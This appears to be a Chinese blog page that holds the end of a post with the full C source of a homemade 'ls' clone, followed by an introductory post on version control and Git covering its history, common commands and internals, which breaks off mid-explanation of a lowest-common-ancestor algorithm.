OpenADirectory()中,使用readdir()读取目录的记录项,获取的struct dirent中包含文件名与i-node编号.

然后,使用lstat()根据文件路径(笔者使用文件名作为相对路径)读取文件的属性.

在使用i-node的文件系统中,文件的属性存储在i-node中,lstat()可能的读取文件属性的方式为:

  1. 打开并遍历文件所在目录
  2. 读取目录的记录项,直到找到指定的文件所对应的记录项
  3. 从文件所对应的记录项中得到文件的i-node编号
  4. 根据文件的i-node编号找到对应的i-node,完成读取文件的属性

读者们一定能发现根据获取的struct dirent已经可以读取到i-node编号了,但使用lstat()函数却还要重复上面的1-3步.

笔者未能想到如何更好的读取文件的属性,欢迎对此有了解的读者告诉笔者.

点击三角形展开附录

附录--完整源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
/* myls.c */
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <grp.h>
#include <locale.h>
#include <pwd.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>

// #define NDEBUG

#define StackPush(x) FileStack[++FileStackTop] = (x)
#define StackTop FileStack[FileStackTop]
#define StackPop free(FileStack[FileStackTop--])
#define FileNumberMax 40960

_Bool Options_a;
_Bool Options_i; //显示i-node
_Bool Options_l;
_Bool Options_r; //逆序
_Bool Options_R;
_Bool Options_s; //以块数形式显示每个文件分配的尺寸
_Bool Options_t; //时间排序

typedef struct
{
struct stat FileStat;
struct dirent File_di;

} FileInfo;
void prauthority(mode_t mode);
void myerror(const char *string, const char *filename, int line);
void OpenADirectory(const char *path);
int cmp(const void *a, const void *b);
void FormateUserAndGroup(uid_t userid, gid_t groupid);
void FormatTime(time_t mtime);
void FormatBytes(off_t size);

int main(int argc, char **argv)
{

/* 本地化时间设置 */
if (setlocale(LC_TIME, "") == NULL)
myerror("setlocale", " ", __LINE__);
signal(SIGTTIN, SIG_IGN); //忽略SIGTTIN信号

_Bool p = 0; //表明是否读取到路径
char *path; //指向存储路径字符串的指针
for (int i = 1; i < argc; i++)
{
if (*argv[i] == '-') //判断是参数还是路径
{ //是参数
for (unsigned int n = 1; n < strlen(argv[i]); n++) //遍历每一格字母
switch (argv[i][n])
{
case 'a':
Options_a = 1;
break;
case 'i':
Options_i = 1;
break;
case 'l':
Options_l = 1;
break;
case 'r':
Options_r = 1;
break;
case 'R':
Options_R = 1;
break;
case 's':
Options_s = 1;
break;
case 't':
Options_t = 1;
break;
default: //错误的参数
printf("%s error:Unknow options: %s\n", __FILE__, argv[i]);
exit(EXIT_FAILURE);
break;
}
}
else
{ //是路径
p = 1; //表明已经读到了路径
path = argv[i];
}
}
if (!p) //如果没读取到路径(等价于路径是通过getcwd获得的)
{
path = getcwd(NULL, 0); //获取当前路径
if (path == NULL)
myerror("getcwd", " ", __LINE__);
}
OpenADirectory(path);
if (!p)
free(path);
}

int cmp(const void *a, const void *b)
{
const FileInfo *A = *(FileInfo **)a;
const FileInfo *B = *(FileInfo **)b;
int i;
if (Options_t)
{
time_t t = B->FileStat.st_mtim.tv_sec - A->FileStat.st_mtim.tv_sec;
if (t > 0)
i = -1;
else if (t == 0)
i = 0;
else
i = 1;
}
else
i = strcmp(B->File_di.d_name, A->File_di.d_name);
if (Options_r)
i = -i;
return i;
}

void OpenADirectory(const char *path)
{
/* 保存原目录 */
char *oldpath = getcwd(NULL, 0);
if (oldpath == NULL)
myerror("getcwd", " ", __LINE__);

DIR *CurrentDir = opendir(path);
if (CurrentDir == NULL)
{
printf("\033[31mLine:%d:readfailed:%s/%s\t %s\033[0m\n", __LINE__, oldpath, path, strerror(errno));
errno = 0;
free(oldpath);
return;
}

/* 切换目录 */
if (chdir(path) == -1)
{
printf("\033[31mLine:%d:chdir:%s\t %s\033[0m\n", __LINE__, path, strerror(errno));
errno = 0;
free(oldpath);
closedir(CurrentDir);
return;
}

/* 文件堆 */
FileInfo **FileStack = (FileInfo **)malloc(sizeof(FileInfo *) * FileNumberMax);
if (FileStack == NULL)
myerror("malloc", " ", __LINE__);
int FileStackTop = -1;

if (Options_R) /* 如果开启了递归显示子目录,则输出切换结果 */
{
char *NewPath = getcwd(NULL, 0);
if (NewPath == NULL)
myerror("getcwd", " ", __LINE__);
printf("%s:\n", NewPath);
free(NewPath);
}

/* 文件读取 */
struct dirent *CurrentFile;
while ((CurrentFile = readdir(CurrentDir)) != NULL)
{
FileInfo *temp = (FileInfo *)malloc(sizeof(FileInfo));
if (temp == NULL)
myerror("malloc", "", __LINE__);
temp->File_di = *CurrentFile;
if (lstat(CurrentFile->d_name, &(temp->FileStat)) == -1)
{
printf("\033[31mError:Line:%d: can't get stat of %s,%s\033[0m\n", __LINE__, CurrentFile->d_name, strerror(errno));
free(temp);
continue;
}
if (FileStackTop < FileNumberMax)
StackPush(temp);
else
myerror("\033[31mToo much File\033[0m\n", " ", __LINE__);
}
/* readdir错误检查 */
if (errno) //需要 error.h
printf("\033[31mline:%d:error:%s\033[0m\n", __LINE__, strerror(errno));

qsort(FileStack, FileStackTop + 1, sizeof(FileInfo *), cmp);

for (int i = FileStackTop; i >= 0; i--)
{
if (Options_a == 0 && *FileStack[i]->File_di.d_name == '.')
continue;
if (Options_l)
{
if (Options_i)
printf("%-10lu\t", FileStack[i]->FileStat.st_ino);
if (Options_s)
printf("%-8ld\t", FileStack[i]->FileStat.st_blksize);
prauthority(FileStack[i]->FileStat.st_mode);
FormateUserAndGroup(FileStack[i]->FileStat.st_uid, FileStack[i]->FileStat.st_gid);
FormatBytes(FileStack[i]->FileStat.st_size);
FormatTime(FileStack[i]->FileStat.st_mtim.tv_sec);
}

if (S_ISREG(FileStack[i]->FileStat.st_mode) &&
((S_IXUSR & FileStack[i]->FileStat.st_mode) ||
(S_IXGRP & FileStack[i]->FileStat.st_mode) ||
(S_IXOTH & FileStack[i]->FileStat.st_mode)))
printf("\033[32m%s\033[0m\n", FileStack[i]->File_di.d_name);
else if (S_ISREG(FileStack[i]->FileStat.st_mode))
printf("%s\n", FileStack[i]->File_di.d_name);
else if (S_ISDIR(FileStack[i]->FileStat.st_mode))
printf("\033[34m%s\033[0m\n", FileStack[i]->File_di.d_name);
else if (S_ISLNK(FileStack[i]->FileStat.st_mode))
printf("\033[31m%s\033[0m\n", FileStack[i]->File_di.d_name);
}

while (FileStackTop >= 0)
{
if (Options_R && S_ISDIR(StackTop->FileStat.st_mode) && strcmp(StackTop->File_di.d_name, ".") != 0 && strcmp(StackTop->File_di.d_name, "..") != 0)
OpenADirectory(StackTop->File_di.d_name);
StackPop;
// FileStackTop--;
}

if (chdir(oldpath) == -1) //切回目录
myerror("chdir", path, __LINE__);

/* 释放与关闭 */
free(oldpath);
closedir(CurrentDir);
free(FileStack);
}
void myerror(const char *string1, const char *string2, int line)
{
printf("\033[31mline:%d:file:%s\n%s:%s\033[0m\n", line, string2, string1, strerror(errno)); //strerror()需要 string.h

exit(EXIT_FAILURE);
}

void FormatBytes(off_t size)
{
char *array[] = {"B", "KB", "MB", "GB", "TB", "PB"};
int n = 0;
while (size >= 1024)
{
n++;
size /= 1024;
}
printf("%ld%s\t", size, array[n]);
}

void FormatTime(time_t mtime)
{
char string[20];
struct tm *timeinfo = gmtime(&mtime);
strftime(string, 17, "%b %e %R", timeinfo);
printf("%s\t", string);
}

void FormateUserAndGroup(uid_t userid, gid_t groupid)
{
struct passwd *owner = getpwuid(userid);//#include <pwd.h>

if (owner == NULL)
{
printf("%s\n", getcwd(NULL, 0));
printf("uid:%u\n", userid);
}

struct group *group = getgrgid(groupid);//include <grp.h>
if (group == NULL)
myerror("getgruid", " ", __LINE__);

printf("%s\t%s\t", owner->pw_name, group->gr_name);
}
void prauthority(mode_t mode)
{
if (S_ISREG(mode))
putchar('-');
else if (S_ISDIR(mode))
putchar('d');
else if (S_ISLNK(mode))
putchar('l');
else if (S_ISFIFO(mode))
putchar('f');
else if (S_ISBLK(mode))
putchar('b');
else if (S_ISCHR(mode))
putchar('c');
else if (S_ISSOCK(mode))
putchar('s');
//Owner
if (S_IRUSR & mode)
putchar('r');
else
putchar('-');
if (S_IWUSR & mode)
putchar('w');
else
putchar('-');
if (S_IXUSR & mode)
{
if (S_ISUID & mode)
putchar('s');
else
putchar('x');
}
else
putchar('-');

//group
if (S_IRGRP & mode)
putchar('r');
else
putchar('-');
if (S_IWGRP & mode)
putchar('w');
else
putchar('-');
if (S_IXGRP & mode)
{
if (S_ISGID & mode)
putchar('s');
else
putchar('x');
}
else
putchar('-');

//Other
if (S_IROTH & mode)
putchar('r');
else
putchar('-');
if (S_IWOTH & mode)
putchar('w');
else
putchar('-');
if (S_IXOTH & mode)
{
if (S_ISVTX & mode)
putchar('t');
else
putchar('x');
}
else
putchar('-');
putchar('\t');
}

参考资料

1. 童永清.Linux C 编程实战[M].第1版.北京:人民邮电出版社
2. W.RichardStevens.Stephen.UNIX环境高级编程[M].第3版.戚正伟,译.北京:人民邮电出版社
3. Linux Programmer’s Manual
4. General Commands Manual
5. 鸟哥.鸟哥的Linux私房菜[M].第四版.北京:人民邮电出版社

浅谈Git的应用

浅谈Git的应用

info

INFO

本文内容含有较多的引用,笔者会标注本文中所有引用内容,并在引文末尾使用脚注注明引文出处.
受引用来源的限制,本文将采取较为复杂的许可.

引文部分已全部标注.
笔者尊重所有创作者的知识产权,希望能以合理的方式引用他人的作品,但因笔者的法律知识有限,在操作中可能出现疏忽和错误,如有任何建议,请在文章末尾的评论区中评论.在此也感谢本文的引文的作者.

写在前面的话:笔者写这篇文章并非为了教会读者Git的详细用法,而是为了告诉读者们Git能满足什么需求.笔者期望阅读本文的读者在某一天出现有关版本控制的需求时,能想起曾在某个不知名的博客中看到过Git有个功能可以解决当前遇到的问题.与其说本文在介绍Git的使用方式,不如说本文在介绍Git已有的部分常用功能.至于有意详细的学习Git的用法的读者,本文无法满足你的需求,笔者建议阅读Git Pro Book来满足你的需求.

为什么需要版本控制

你是否曾为误删重要文件而懊悔,你是否曾为数据丢失而苦恼?你是否曾错误改动文件而无法更正?

你丢失的或许是几日的心血,或许是照片中美好的回忆.但对于一个项目而言,任何文件的丢失与错误的修改都可能是致命.

版本控制就如同游戏中的存档,是开发中的后悔药.

我想有的人曾因担心之后的操作把已有的工作搞砸,提前复制或者备份一份已有的文件,然后再进行不太确定的操作.
很多软件为用户提供了撤销的功能,从某种层面上说,这也是一种版本控制,你能想象如WordPowerPointPhotoShop等大型软件不提供撤销功能会造成多么大的不便吗?

当然,版本控制也绝非一个撤销键这样简单.

tip
小故事

客人来到餐厅用餐.
客人:来一份宫保鸡丁
你:这好办.
进入后厨,完成客户的需求中…
客人:孩子喜欢吃牛肉,麻烦你把鸡丁换成牛肉
你:不放鸡丁放牛肉还是宫保鸡丁吗?您确定要这样吗?
客人:这很难吗?无非是把鸡丁换成牛肉,别的该怎么做还是怎么做,这很难吗.
你:好吧.

此时,你默默的从锅中挑出即将炒熟的鸡丁,换成牛肉丁

客人:你怎么这么慢?要不算了,还是放鸡丁吧?我都要饿死了,怎么快怎么来?!
你:……

此时,你默默从锅中挑出即将炒熟的牛肉丁,把鸡丁放回去

据说这很像程序员们遇到的犹豫不定的客户,频繁的改动需求导致项目反复改动.

虽然版本控制无助于开发新的功能,但在使用了版本控制之后,至少在客户改动需求又反悔时,版本控制能让开发者快速的投入新的开发工作,而不是花费大量精力把已有的改动还原回去(当然,这只是使用版本控制的好处之一).

通常来说,大多数软件提供的撤销功能是有很多不足的.

  • 无法直接撤销至任意一步,只能逐步撤销
  • 无法撤销至这次打开软件之前的版本,撤销的步数受限
  • 不能保存撤销和重做的记录
  • 撤销后的修改会影响撤销,无法保留现有修改的同时撤销过去的修改

当然,会有聪明的人说:「何必这么麻烦,我提前复制一份就好.」

不可否认,这通常是一个有效的做法,但也会带来一些麻烦.

一个1MB左右的文件通过复制备份10个版本也才10MB.但1GB的文件通过复制的方式备份10份就要10GB了.

danger
WARNING
虽然笔者用备份作为说明版本控制的一个例子,版本控制在某种程度上来说具有备份的作用,备份在某种程度上来说也实现了版本控制,但这也只是说明两者的作用有交集,切不可混为一谈.笔者此处使用这种说法只是为了帮助对版本控制感到陌生的读者理解版本控制的部分作用,请原谅笔者这种不太严谨的做法.

通过复制备份原文件,手动完成版本控制,在文件大小近似不变的情况下,所需要的空间和复制次数具有线性相关关系,长期依靠复制完成版本控制不是一个好的办法.

secondary
INFO

截至 2020-12-03 03:13:08Linux 内核源码树(Linux kernel source tree)968,247提交(commits),在Github上仅存储了2.94GB的数据.

https://github.com/torvalds/linux

在多人协作的时候,使用版本控制系统具有更多的优势.

  • 保留了每次修改的结果,方便的对比查看不同版本之间的差异
  • 方便的查看他人修改了什么内容
  • 方便的查看文件内容的修改者
  • 允许对所有参与者划分权限,禁止部分人修改部分重要内容
  • 进行代码审核(Code Review)

在网络上,用户能方便的下载同一个软件的不同版本,以Google Chrome为例,在Chrome官网上有ChromeChrome DevChrome Canary这些不同的版本.

Chrome
Chrome Dev
Chrome Canary

将同一个软件根据稳定性和需求分成不同版本提供给不同的群体是十分常见的现象.但在chromium的源码仓库却会发现Google并非把ChromeChrome DevChrome Canary当作三个程序来维护,而是通过使用版本控制轻松的避免了提供三个版本的软件所带来的麻烦,这一切都是这样的理所当然.

为什么选择Git

  • Git 是基于GPLv2自由软件(free software)(Git 的部分内容不是基于GPLv2的,但是也基于一个与GPLv2兼容的协议),Git软件自由保护组织(Software Freedom Conservancy)的子项目
  • Git 是Linus Torvalds为维护Linux Kernel设计的工具

Git本就是为程序开发设计的版本控制系统,比其他的版本控制系统更适合程序开发的需求

除此之外,Git 还拥有这些特点

  • 速度
  • 简单的设计
  • 对非线性开发模式的强力支持(允许成千上万个并行开发的分支)
  • 完全分布式
  • 有能力高效管理类似 Linux 内核一样的超大规模项目(速度和数据量)

Git 日臻成熟完善,在高度易用的同时,仍然保留着初期设定的目标.
它的速度飞快,极其适合管理大项目,有着令人难以置信的非线性分支管理系统[2]

Software Freedom Conservancy的更多信息> 软件自由保护组织(Software Freedom Conservancy,简称SFC)是一个旨在为自由开源软件项目提供支持和基础设施的非营利组织,成立于2006年. [1]

Git 的历史

Linux 内核开源项目有着为数众多的参与者. 绝大多数的 Linux 内核维护工作都花在了提交补丁和保存归档的繁琐事务上(1991-2002年间).到 2002 年,整个项目组开始启用一个专有的分布式版本控制系统 BitKeeper 来管理和维护代码.[2]

因为BitKeeper为专有软件,这个决定在社区中长期遭受质疑.在Linux社区中,特别是理查德·斯托曼与自由软件基金会的成员,主张应该使用开放源代码的软件来作为Linux内核的版本控制系统.林纳斯·托瓦兹曾考虑过采用现成软件作为版本控制系统(例如Monotone),但这些软件都存在一些问题,特别是性能不佳.现成的方案,如CVS的架构,受到林纳斯·托瓦兹的批评.[3]

info

INFO

补充资料1

FSF 遵循这样的规则:我们不能在自己的计算机上安装任何专有软件,除非暂时性地用于一种特定用途,即编写一个自由软件来取代它.除此之外,我们感觉没有任何可能的借口来安装一款专有软件.

例如,在 20 世纪 80 年代,我们认为在我们的计算机上安装 Unix 是合理的,由于我们需要用它编写一个可以取代 Unix 的自由操作系统.而现在,由于自由的操作系统已经有了,因此这一借口不再适用;我们不会使用任何专有操作系统,并且我们所组装的任何一台新计算机都必须运行一款完全自由的操作系统.[4]

补充资料2

Bitkeeper议题
(参看下面的最后更新.)

使用Bitkeeper作为Linux源码的储存工具对于自由软件社区具有重大的影响,因为任何想要密切追踪Linux修定版本的人只能安装该非自由软件才行.肯定至少有数十或甚至数百名的内核黑客已经这么做了.他们之中大部份的人已经渐渐地说服了自己使用非自由软件是没有关系的,以避免在自己电脑上装有Bitkeeper带来的认知冲突造成的不良感觉.对此我们可以做些什么呢?

一个解决方式是为Linux源码设定另一个储存库,使用CVS或其他自由的版本控制系统,并设置新版本自动加载.这样可以使用Bitkeeper来对最新的版本进行存取,然后再将新的版本安装到CVS中.这种更新操作可以自动且频繁地运行.

自由软件基金会不能这样做,因为我们不能在我们的机器上安装Bitkeeper.我们的机器上现在没有非自由的系统或应用程序,而且我们的原则也是必须维持这种方式.运行Bitkeeper储存工具的操作需要某个愿意将Bitkeeper安装在他的机器上的人,除非有人可以找出或做出一个使用自由软件来运作的方式.

Linux源码本身有着更严重的问题:它们实际上包含一些非自由软件.相当多的设备驱动程序包含了代表固件程序的数组,它们会被安装在这些装置内.这些程序不是自由软件.在设备寄存器写入的数据是一件事;大量二进制代码是另外一回事.

在Linux“源码”文件中出现的这些只有二进制形式的程序,造成了另一个问题:那就是,Linux的二进制码到底是否可以合法地再发布.GPL要求“完备的相关源码”,而数字字符串并非源码.按照相同理由,添加这样的二进制码到Linux源码违反了GPL的规定.

Linux开发者有个项目是将这些固件程序转移到单独的文件中;该项目需要数年的时间才会成熟,不过当其完成时将会解决这个问题;我们可以作出一个“自由的Linux”版本,而其中不包括任何非自由的固件程序.但是如果大多数人都在使用非自由的“官方”Linux版本,那么该项目本身并没有什么用处.这很有可能发生,因为自由版本在许多平台上,如果没有非自由的固件都将无法运行.“自由的Linux”工程将不得不弄明白这些固件究竟做些什么,并且为它之编写源码,也许要以汇编语言为要运行的嵌入式处理器平台来撰写.这将会是件极其艰巨的工作.但是如果我们在早几年就开始一点一滴地进行,而不是等它堆积起来,它就不那么艰巨了.通过招募人员来进行这项工作,我们将不得不克服由某些Linux开发者所散播的“这件工作是不必要的”观念.

作为内核的Linux通常被视为自由软件的旗舰,然而它目前的版本却有一部份是非自由的.为什么会这样?就像决定使用Bitkeeper的问题一样,这个问题反应出了Linux原始开发者的态度,就是认为“技术上更好”比自由更重要.

历史告诉我们:珍惜你的自由,否则你将会失去它.以“不要以政治来烦我们”作为回应的人,是那些不愿接受教训的人.

最后更新:从2005年起,Linux内核的源代码不再使用BitKeeper管理.参看文章,致谢Larry McVoy.Linux源代码仍然含有非自由的固件blobs,但是在2008年1月,我们维护了一个自由版的Linux,并被自由的GNU/Linux发行版使用.[5]

Free Software Foundation的更多信息>「自由软件基金会(FSF)是一个非盈利组织.我们的使命是在全球范围内促进计算机用户的自由.我们捍卫所有软件用户的权利.」[6]

生活在当今的人们可能难以体会自由软件运动中对软件自由的向往和追求.即使在当时,也有很多人自由软件运动中追求的自由表示不解与不懈,但笔者身为GNU/LinuxGit的使用者和受益者,凭借自己对Open Free Share的些许感悟对他们曾经作出的一切表示挚诚的感谢和深深的敬意.

2005年,安德鲁·垂鸠写了一个简单程序,可以连接BitKeeper的存储库,BitKeeper著作权拥有者拉里·麦沃伊认为安德鲁·垂鸠对BitKeeper内部使用的协议进行逆向工程,决定收回无偿使用BitKeeper的许可.Linux内核开发团队与BitMover公司进行磋商,但无法解决他们之间的歧见.林纳斯·托瓦兹决定自行开发版本控制系统替代BitKeeper,以十天的时间编写出git第一个版本.[3]

使用Git

本文不介绍如何通过图形化界面来使用Git,本文只讨论Git在终端中的使用.

Git 基础

Git项目的不同阶段[13]

Git有三种状态,你的文件可能处于其中之一:已提交(committed)、已修改(modified)和已暂存(staged).
已修改表示修改了文件,但还没保存到数据库中.
已暂存表示对一个已修改文件的当前版本做了标记,使之包含在下次提交的快照中.
已提交表示数据已经安全地保存在本地数据库中.[13]

文件的状态变化周期[2]

  • init

为了在没有使用过Git的项目中使用Git,首先需要完成初始化Git仓库

在终端内,将工作目录切换至项目的目录,便可使用git init命令完成对Git仓库的初始化.

  • clone

任何人都可以从Github或者其他平台上获取使用Git版本控制的项目.

只需要使用git clone <url>就可以完整的获取url所对应的项目的所有源码以及所有的改动历史.

  • status

使用git status能查看git仓库的修改状态.

  • log

使用git log能查看git仓库的日志.日志中包括了很多信息.

  • diff

该命令会显示Git仓库中和上次提交相比已被修改的文件.

  • add

使用命令 git add 开始跟踪一个文件. 所以,要跟踪 README 文件,运行:

$ git add README
此时再运行 git status 命令,会看到 README 文件已被跟踪,并处于暂存状态:

$ git status
On branch master
Your branch is up-to-date with ‘origin/master’.
Changes to be committed:
(use “git restore —staged…” to unstage)

new file: README
只要在 Changes to be committed 这行下面的,就说明是已暂存状态. 如果此时提交,那么该文件在你运行 git add 时的版本将被留存在后续的历史记录中. 你可能会想起之前我们使用 git init 后就运行了 git add命令,开始跟踪当前目录下的文件. git add 命令使用文件或目录的路径作为参数;如果参数是目录的路径,该命令将递归地跟踪该目录下的所有文件.[2]

  • commit

git commit命令用来提交已经暂存的更改.

参数 -m message 附加提交信息
参数 -S 在提交中,使用GnuPG签名

Git 进阶用法

上面的那些操作只是Git的基础用法,不能发挥Git的功能的绝大部分功能.
下面笔者来介绍Git的高阶用法.

检出
  • 清空暂存区

git checkout HEAD

  • 检出至某一版本

git checkout <ref>
git checkout <commit>

1
2
3
graph LR
C5-->C4-->C3-->C2-->C1-->C0;
F((master))-->C4;

<ref>可以是一个分支名称,也可以是一个相对引用,下面是相对引用的语法

使用 A^ 指代 A 之前的第 1 个提交记录,如 master^master的前驱,即C3
使用 A^^ 指代 A 之前的第 2 个提交记录,如 master^^master的前驱的前驱,即C2
使用 A^^^ 指代 A 之前的第 3 个提交记录,如 master^^^master的前驱的前驱的前驱,即C1

……

笔者相信读者们不会喜欢用A^^^^指代 A 之前的第 4 个提交记录,因为这个命令实在太长了,下面有更简单的命令

使用 A~n 指代 A 之前的 n 个提交记录,如 master~2master的前驱的前驱,等价于A^^,即C2master~4master的前驱的前驱的前驱的前驱,等价于A^^^^,即C0

分支管理

为什么需要分支管理?开发中常常会有突发事件,加入你正在开发新的功能,但突然发现已有的程序存在严重的bug,你不得不紧急修复它.在开发中,提交不完整的代码会对项目的其他参与者造成巨大的影响.这不是一个正确的行为.那么你该怎么办?
如果没有分支管理,你可能会将未完成的代码删除,或者回退至过去的版本,但这可是你的心血.你还有可能复制一份现在的代码作为备份,然后把代码回退至过去的版本
但有了分支管理,这些问题都消失了.

实际工作中你可能会用到类似的工作流. 你将经历如下步骤:

  1. 开发某个网站.
  2. 为实现某个新的用户需求,创建一个分支.
  3. 在这个分支上开展工作.
    正在此时,你突然接到一个电话说有个很严重的问题需要紧急修补.
    你将按照如下方式来处理:
  4. 切换到你的线上分支(production branch).
  5. 为这个紧急任务新建一个分支,并在其中修复它.
  6. 在测试通过之后,切换回线上分支,然后合并这个修补分支,最后将改动推送到线上分支.
  7. 切换回你最初工作的分支上,继续工作.[9]
  • git branch <branch>创建新的分支
  • git checkout <branch>切换至已创建的新分支

这两条命令连续使用的情况可简化为:git checkout -b <branch> 创建并切换至新的分支

  • git branch -d <branch>删除一个分支
合并(merge)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
gitGraph:
options
{
"nodeSpacing": 150,
"nodeRadius": 10
}
end
commit
branch dev
checkout dev
commit
checkout master
commit
commit
merge dev
commit

如图,上图中dev分支的内容被合并至了master分支.

使用git merge <branch>可以指定的分支合并至当前分支.
Git在无冲突的情况下可以自动合并两个分支的更改.但Git并不总是能自动完成合并,当遇到合并冲突时,需要手动解决冲突才能完成合并.

变基(rebase)
1
2
3
4
5
graph LR
C3-->C2-->C1-->C0;
C5-->C4-->C2;
F((master))-->C3;
G((dev))-->C5;

Git的rebase功能允许使用者修改过去的Git提交历史,也提供一种比 merge 更易理解的方式处理提交内容的合并的需求.例如上图中,通过git rebase master dev指令,Git能分析dev分支中C4C5中的改动,并在master分支上重复这些改动,实现下图中的效果.

1
2
3
4
5
6
graph LR
C3-->C2-->C1-->C0;
C5-->C4-->C2;
C5'-->C4'-->C3;
F((master))-->C3;
G((dev))-->C5';

cherry-pick

通过git cherry-pick <commit>便可将一次提交复制至HEAD所指向的位置之后.

1
2
3
4
5
graph LR
C3-->C2-->C1-->C0;
C5-->C4-->C2;
F((master*))-->C3;
G((dev))-->C5;

在上图的情况中,使用git cherry-pick C4便可以将C4的提交内容复制至C3之后.实现下图中的效果.

1
2
3
4
5
graph LR
C4'-->C3-->C2-->C1-->C0;
C5-->C4-->C2;
F((master))-->C4';
G((dev))-->C5;

远程分支

远程引用是对远程仓库的引用(指针),包括分支、标签等等. 你可以通过 git ls-remote来显式地获得远程引用的完整列表, 或者通过 git remote show获得远程分支的更多信息. 然而,一个更常见的做法是利用远程跟踪分支.

它们以/的形式命名. 例如,如果你想要看你最后一次与远程仓库 origin 通信时 master 分支的状态,你可以查看 origin/master 分支. 你与同事合作解决一个问题并且他们推送了一个 iss53 分支,你可能有自己的本地 iss53 分支, 然而在服务器上的分支会以 origin/iss53 来表示.[10]

  • git remote add <remote>添加远程仓库
  • git fetch <remote> 从远程仓库拉取数据并更新远程分支所指向的位置,但不更新本地分支所指向的位置
  • git pull从远程仓库获取数据并与本地分支合并.等价于执行git fetch <remote>之后执行git merge <branch>
  • git push <remote> <branch>将分支推送至远程仓库
  • git checkout --track <remote>/<branch>为当前的本地分支设置上游分支
  • git push <remote> --delete <branch>删除远程分支

版本回退

本地版本回退
git reset <commit>
git reset <ref>

读者可能会感到这个命令与checkout十分相似,事实确实如此,不但命令相似,作用也是相似的.在checkout命令中,命令仅改变了HEAD所指向的位置,但在reset命令中命令还会改变HEAD所指向的分支的位置.

远程版本的回退

已经推送至远程仓库的提交并不能使用reset进行回退,如果你尝试过这样做就会发现Git会提示你,你的本地分支落后与远程分支,让你拉取远程的提交记录.拉取之后被reset的记录又被恢复了,所以不该使用reset去回退远程的分支.

git revert <commit>
git revert <ref>

正确的做法是使用使用revert功能.这个功能并不像reset那样,他会保留revert的记录和revert之前commit的记录.读者们可以理解为revert不是回退,而是把用新的提交把原来提交的内容改回去.

Git 练习

与别的技术一样,想要灵活的掌握Git的用法离不开适当的练习.在个人的开发中使用Git只是一个方面,笔者推荐完成learngitbranching上面的练习,这是学习Git的有效途径.

Git 原理

Git 存储文件的快照

Git存储文件的快照[13]

Git更像是把数据看作是对小型文件系统的一系列快照.在Git中,每当你提交更新或保存项目状态时,它基本上就会对当时的全部文件创建一个快照并保存这个快照的索引.为了效率,如果文件没有修改,Git不再重新存储该文件,而是只保留一个链接指向之前存储的文件.Git对待数据更像是一个快照流.[13]

Git 引用

如果你对仓库中从一个提交(比如 1a410e)开始往前的历史感兴趣,那么可以运行 git log 1a410e 这样的命令来显示历史,不过你需要记得 1a410e 是你查看历史的起点提交. 如果我们有一个文件来保存 SHA-1 值,而该文件有一个简单的名字, 然后用这个名字指针来替代原始的 SHA-1 值的话会更加简单.

在 Git 中,这种简单的名字被称为「引用(references,或简写为 refs)」. 你可以在 .git/refs 目录下找到这类含有 SHA-1 值的文件. 在目前的项目中,这个目录没有包含任何文件,但它包含了一个简单的目录结构:

1
2
3
4
5
$ find .git/refs
.git/refs
.git/refs/heads
.git/refs/tags
$ find .git/refs -type f

[8]

Git 的分支的本质就是:

一个指向某一系列提交之首的指针或引用[8]

最近公共祖先(LCA,Lowest Common Ancestor)

Git 在执行rabase操作时,涉及寻找两个分支的最近公共祖先的问题.

1
2
3
4
5
graph LR
C3-->C2-->C1-->C0;
C5-->C4-->C2;
F((master))-->C3;
G((dev))-->C5;

例如在使用git rebase master dev 时查找C3C5找到的最近公共祖先,才能实现下图的效果.

1
2
3
4
5
6
graph LR
C3-->C2-->C1-->C0;
C5-->C4-->C2;
C5'-->C4'-->C3;
F((master))-->C3;
G((dev))-->C5';

请看 LeetCode-236.二叉树中的最近公共祖先

实现如下:

我描述一下lowestCommonAncestor这个函数的「定义」吧.

描述:给该函数输入三个参数rootpq,它会返回一个节点.
情况 1,如果pq都在以root为根的树中,函数返回的即使pq最近公共祖先节点
情况 2,那如果pq都不在以root为根的树中怎么办呢?函数理所当然地返回null呗.
情况 3,那如果pq只有一个存在于root为根的树中呢?函数就会返回那个节点.

题目说了输入的pq一定存在于以root为根的树中,但是递归过程中,以上三种情况都有可能发生,所以说这里要定义清楚,后续这些定义都会在代码中体现.
OK,第一个问题就解决了,把这个定义记在脑子里,无论发生什么,都不要怀疑这个定义的正确性,这是我们写递归函数的基本素养.
然后来看第二个问题,这个函数的参数中,变量是什么?或者说,你描述一个这个函数的「状态」吧.
描述:函数参数中的变量是root,因为根据框架,lowestCommonAncestor(root)会递归调用root.leftroot.right;至于pq,我们要求它俩的公共祖先,它俩肯定不会变化的.
第二个问题也解决了,你也可以理解这是「状态转移」,每次递归在做什么?不就是在把「以root为根」转移成「以root子节点为根」,不断缩小问题规模嘛?
最后来看第三个问题,得到函数的递归结果,你该干嘛?或者说,得到递归调用的结果后,你做什么「选择」?
